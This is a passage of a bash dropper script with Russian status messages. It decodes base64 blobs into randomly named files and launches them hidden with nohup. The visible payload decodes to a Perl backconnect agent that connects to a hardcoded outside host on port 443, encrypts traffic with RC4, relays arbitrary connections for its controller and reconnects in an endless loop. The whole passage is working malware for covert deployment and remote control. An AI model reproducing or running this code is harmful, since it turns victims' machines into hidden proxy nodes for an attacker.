ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #55 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #55 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 56 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK 